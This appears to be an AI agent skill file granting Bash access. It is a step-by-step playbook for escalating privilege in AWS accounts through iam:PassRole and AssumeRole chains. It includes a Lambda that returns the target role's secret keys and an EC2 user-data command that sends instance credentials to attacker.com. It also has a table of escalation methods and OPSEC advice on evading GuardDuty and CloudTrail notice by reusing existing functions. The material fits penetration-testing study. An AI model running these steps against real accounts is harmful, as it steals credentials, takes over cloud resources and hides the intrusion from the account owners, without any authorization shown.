aws-iam-passrole-chain

name	aws-iam-passrole-chain
description	AWS IAM privilege escalation via `iam:PassRole` chains — Lambda/Glue/Sagemaker/EC2/ECS PassRole to a higher-priv role, AssumeRole chains across accounts, sts:GetCallerIdentity recon, account hijack via legacy root-mfa-bypass.
allowed-tools	Bash Read Write
metadata	{"when_to_use":"aws iam passrole assumerole privilege escalation lambda glue sagemaker ec2 ecs role chain account pivot sts getcalleridentity","subdomain":"cloud","tags":"aws, iam, privilege-escalation, passrole","mitre_attack":"T1078.004, T1098, T1550.001"}

AWS IAM PassRole Chain

You have AWS credentials (env vars, ~/.aws/credentials, EC2 IMDS, ECS task role, leaked GitHub keys). Find the path to higher privilege via PassRole.

Enumerate

aws sts get-caller-identity                                  # who are you?
aws iam list-attached-user-policies --user-name $(aws sts get-caller-identity --query Arn --output text | cut -d/ -f2)
aws iam list-user-policies --user-name <you>
aws iam get-account-summary

# Or for a role (e.g., EC2 instance):
aws sts get-caller-identity                                  # check Arn = role
ROLE=$(aws sts get-caller-identity --query Arn --output text | cut -d/ -f2)
aws iam list-attached-role-policies --role-name $ROLE
aws iam list-role-policies --role-name $ROLE

Use Pacu — enum_permissions — for the canonical enumeration.

Phase 1: Identify your PassRole targets

# What roles can your principal PassRole?
# Check policy for iam:PassRole — note the Resource:
aws iam get-policy-version --policy-arn arn:aws:iam::aws:policy/<your-policy> --version-id v1 \
  | jq '.PolicyVersion.Document.Statement[] | select(.Action[]?=="iam:PassRole" or .Action=="iam:PassRole")'

# List all roles (need iam:ListRoles)
aws iam list-roles --query 'Roles[].[RoleName,AssumeRolePolicyDocument]' --output text

Phase 2: PassRole → execute as higher-priv role

Lambda — most common path

# Create a Lambda that runs as TARGET_ROLE and returns its credentials
cat > pwn.py <<'EOF'
def lambda_handler(event, context):
    import os
    return {
        "AKI": os.environ["AWS_ACCESS_KEY_ID"],
        "SAK": os.environ["AWS_SECRET_ACCESS_KEY"],
        "TOK": os.environ["AWS_SESSION_TOKEN"],
    }
EOF
zip pwn.zip pwn.py
aws lambda create-function --function-name pwn --runtime python3.11 \
  --role arn:aws:iam::ACCT:role/TARGET_ROLE --handler pwn.lambda_handler \
  --zip-file fileb://pwn.zip
aws lambda invoke --function-name pwn /tmp/o.json && cat /tmp/o.json
# /tmp/o.json now contains TARGET_ROLE credentials

Glue Dev Endpoint

aws glue create-dev-endpoint --endpoint-name pwn --role-arn arn:aws:iam::ACCT:role/TARGET_ROLE
# SSH into it; whoami is TARGET_ROLE

EC2 Instance Profile

aws ec2 run-instances --image-id ami-0c55b159cbfafe1f0 --instance-type t2.micro \
  --iam-instance-profile Name=TARGET_PROFILE --user-data "$(printf '#!/bin/bash\ncurl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/TARGET_ROLE > /tmp/c.json && curl -X POST -d @/tmp/c.json https://attacker.com/x')"

SageMaker Notebook

aws sagemaker create-notebook-instance --notebook-instance-name pwn --instance-type ml.t2.medium \
  --role-arn arn:aws:iam::ACCT:role/TARGET_ROLE
# Then open the notebook URL; in a cell: !aws sts get-caller-identity

Phase 3: AssumeRole chains across accounts

# If you have sts:AssumeRole on a cross-account role:
aws sts assume-role --role-arn arn:aws:iam::OTHER_ACCT:role/CROSSACCT_ROLE --role-session-name pwn
# Use the returned Credentials for the next hop.

# Chain depth — repeat assume-role with each new principal.

Phase 4: Privilege escalation classes (Pacu — iam__privesc_scan)

Method	Required permission
CreateNewPolicyVersion	iam:CreatePolicyVersion on a policy attached to a higher-priv user
SetExistingDefaultPolicyVersion	iam:SetDefaultPolicyVersion
CreateAccessKey	iam:CreateAccessKey on a higher-priv user
CreateLoginProfile	iam:CreateLoginProfile — log in as the target user via console
UpdateLoginProfile	iam:UpdateLoginProfile — reset the target user's console password
AttachUserPolicy	iam:AttachUserPolicy — attach AdministratorAccess to yourself
AttachGroupPolicy	iam:AttachGroupPolicy
AttachRolePolicy	iam:AttachRolePolicy
PutUserPolicy	iam:PutUserPolicy — inline policy bypass
AddUserToGroup	iam:AddUserToGroup — add yourself to admins
UpdateAssumeRolePolicy	iam:UpdateAssumeRolePolicy — make a role assumable by you
PassExistingRoleToNewLambda	iam:PassRole + lambda:CreateFunction/InvokeFunction
PassExistingRoleToNewGlueDevEndpoint	as above for Glue
EditExistingLambdaFunctionWithRole	lambda:UpdateFunctionCode on an existing Lambda
PassExistingRoleToNewCloudFormation	iam:PassRole + cloudformation:CreateStack
PassExistingRoleToNewDataPipeline	as above for Data Pipeline

OPSEC

• Every IAM and STS call is in CloudTrail. Volume of assume-role is normal — create-function with a new role is not.
• GuardDuty has finding types Recon:IAMUser/ResourceConsumption and Privilege Escalation:IAMUser/AnomalousBehavior. Move slowly.
• For low-noise: use existing Lambda functions (replace their code) rather than creating new ones — UpdateFunctionCode is far more common in normal traffic.
• Sensitive: GuardDuty flags AwsApiCall: PutEventSelectors / StopLogging on CloudTrail — don't try to silence telemetry.

References

• Pacu (RhinoSecurityLabs) — automated enum + privesc
• "AWS IAM Privilege Escalation Methods" — Spencer Gietzen, RhinoSecurityLabs
• ScoutSuite, Prowler — defender perspective
• DEFCON 30 "Cloud Village" — recurring AWS IAM track